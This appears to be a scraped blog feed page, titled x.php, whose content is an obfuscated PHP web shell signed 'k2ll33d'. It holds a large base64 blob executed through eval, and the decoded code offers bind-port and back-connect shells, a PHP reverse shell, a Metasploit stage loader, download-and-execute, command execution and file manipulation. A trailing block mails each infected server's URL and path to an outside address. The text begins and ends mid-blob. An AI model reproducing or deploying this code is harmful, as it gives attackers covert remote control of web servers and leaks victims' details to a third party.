cDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

x.php

Testing Reflections - Wed, 12/10/2014 - 06:34
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhc